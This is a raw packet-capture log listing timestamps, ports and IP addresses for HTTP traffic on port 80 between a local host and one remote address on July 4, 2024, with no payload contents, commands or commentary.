Jul 4, 2024 20:34:24.191631079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191750050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191760063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191770077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191791058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191817045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191819906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191828012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191837072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191848993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191857100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191888094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.191983938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.191994905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192003965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192014933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192023993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192025900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.192034960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192035913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.192044973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192054033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192064047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192065954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.192091942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.192095995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192106962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192111969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.192116976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192126989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192133904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.192136049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192146063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192156076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.192157984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.192173958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.192187071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.204971075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.204981089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.204991102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205007076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205017090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205023050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.205028057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205038071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205039978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.205064058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.205080032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.205091953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205101967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205111027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205121040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205127001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.205154896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.205172062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205187082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205198050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205208063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205216885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.205245018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.205257893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.229161024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229172945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229183912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229192972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229202986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229217052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.229243040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.229281902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229299068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229309082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229319096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229321003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.229330063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229343891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229353905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229362965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.229362965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.229365110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229376078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229377985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.229386091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.229402065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.229424000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.249777079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.249820948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.249838114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.249855042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250154018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250196934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250200987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250212908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250222921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250251055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250271082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250351906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250363111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250377893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250387907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250397921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250397921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250412941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250423908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250428915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250432968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250442982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250444889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250458956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250469923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250477076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250478983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250488997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250504971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250505924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250514030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250523090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250525951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250538111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250562906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250574112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250582933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250608921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250829935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250839949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250849962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250870943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250890017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250904083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250914097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250922918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250932932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250937939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250946999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.250957966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.250983000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.251041889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251064062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251074076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251080036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.251096964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.251110077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.251146078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251157045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251166105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251187086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251188040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.251198053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251205921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251211882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.251219988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251230955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251240969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.251269102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251271963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.251280069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251310110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.251394033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251404047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251414061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.251425982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.251446962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252407074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252417088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252432108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252451897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252463102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252465010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252473116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252487898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252497911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252501965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252525091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252543926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252646923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252657890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252667904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252677917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252687931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252690077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252697945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252708912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252710104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252723932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252726078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252737045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.252739906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252759933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.252778053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254499912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254511118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254519939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254529953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254539967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254545927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254549980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254565001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254570007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254575014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254584074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254585028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254594088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254610062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254611969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254622936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254633904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254638910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254642963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254652977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254662991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254663944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254673004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254683971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254686117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254703999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254707098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254714966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254722118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254723072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254734039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254744053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254753113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254755974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.254779100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.254791021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.300928116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.300946951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.300957918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.300966978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.300976992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.300987005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.301002979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.301012993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.301023006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.301033020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.301043034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.301043034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.301053047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.301081896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.301093102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.301135063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.301148891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.335966110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.335993052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336076975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336085081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336091042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336133003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.336153984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336163998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336169958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.336173058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336182117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336186886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.336200953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.336225986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.336251020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336261034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336270094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336283922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336292028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.336293936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.336317062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.336327076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.346379995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346426010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.346435070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346445084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346472025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.346534014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346544027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346554041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346564054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346574068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346581936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.346595049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.346616983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.346632004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346642017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346652031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346662045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346677065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.346688986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.346910954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346920967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.346956968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347197056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347207069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347215891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347227097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347237110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347238064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347248077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347255945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347258091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347266912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347273111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347297907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347321033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347419977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347429037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347439051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347455978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347484112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347507000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347517967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347527981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347539902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347549915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347568989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347603083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347613096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347645044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347719908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347731113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347739935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347750902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347757101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347760916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347774982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347803116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347817898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347901106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347910881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.347934008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347945929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.347996950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348012924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348021984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348037004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.348038912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348057985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348086119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.348103046 CEST	80	49744	77.91.77.81	192.168.2.4
